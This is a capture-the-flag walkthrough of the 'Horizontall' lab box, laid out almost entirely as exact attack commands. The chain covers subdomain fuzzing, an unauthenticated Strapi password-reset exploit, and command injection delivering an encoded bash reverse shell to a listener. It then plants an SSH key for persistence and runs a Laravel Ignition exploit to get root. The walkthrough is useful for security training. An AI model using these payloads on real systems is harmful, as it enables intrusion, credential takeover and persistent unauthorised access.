Horizontall
Summary
I discovered a hidden API subdomain behind the public nginx reverse proxy, fingerprinted it as an unpatched Strapi CMS beta, and exploited an unauthenticated password-reset flaw to seize admin credentials. Those credentials were then used to inject operating-system commands through the plugin-install endpoint, landing a shell on the server as the strapi service account.
I planted an SSH key for durable access, used SSH port-forwarding to reach an internal Laravel web application running in debug mode, and exploited the Ignition debug handler to execute arbitrary code as root -- reading the root flag and achieving complete server compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -Pn -sV -p 22,80 $TARGETffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.horizontall.htb' -u http://$TARGET/ -mc all -ac -o /tmp/vhost_fuzz.jsoncurl -s -H 'Host: api-prod.horizontall.htb' http://$TARGET/ -IExact commands 2
curl -s -H 'Host: api-prod.horizontall.htb' http://$TARGET/admin/init | python3 -m json.toolsearchsploit strapi 3.0.0Exact commands 3
curl -sS -X POST -H 'Host: api-prod.horizontall.htb' -H 'Content-Type: application/json' -d '{"code":{"$gt":0},"password":"$PASSWORD","passwordConfirmation":"$PASSWORD"}' http://$TARGET/admin/auth/reset-passwordcurl -sS -H 'Host: api-prod.horizontall.htb' -H 'Content-Type: application/json' -d '{"identifier":"admin","password":"$PASSWORD"}' http://$TARGET/admin/auth/local | tee /tmp/horiz_strapi_login.jsonJWT=$(python3 -c 'import json;print(json.load(open("/tmp/horiz_strapi_login.json"))["jwt"])')FixUpgrade Strapi immediately and restrict the admin panel to trusted networksCritical
Exact commands 3
B64=$(printf '%s' 'bash -i >& /dev/tcp/<LHOST>/4444 0>&1' | base64 -w0)nc -lvnp 4444curl -sS -H "Authorization: Bearer $JWT" -H 'Content-Type: application/json' -X POST http://api-prod.horizontall.htb/admin/plugins/install -d "{\"plugin\":\"documentation && bash -c 'echo $B64|base64 -d|bash'\"}" --max-time 10Exact commands 3
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICIFMnlcoHIWGlCrBiIVivqin+aF9kx7j9VsxbMqqkpM kali@kali' >> /opt/strapi/.ssh/authorized_keysssh -i ~/.ssh/id_ed25519 -o StrictHostKeyChecking=no strapi@$TARGETcat ~/user.txtExact commands 2
ssh -i ~/.ssh/id_ed25519 -o StrictHostKeyChecking=no -f -N -L 8003:127.0.0.1:8000 strapi@$TARGETcurl -sS -I http://127.0.0.1:8003/Exact commands 3
ln -s /usr/share/phpggc /tmp/ignition_horiz/phpggcpython3 /usr/share/exploitdb/exploits/php/webapps/49424.py http://127.0.0.1:8003 /home/developer/myproject/storage/logs/laravel.log 'id'python3 /usr/share/exploitdb/exploits/php/webapps/49424.py http://127.0.0.1:8003 /home/developer/myproject/storage/logs/laravel.log 'cat /root/root.txt'FixDisable Laravel debug mode in production and run the PHP process as a non-privileged userCritical
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.14.0 (Ubuntu) |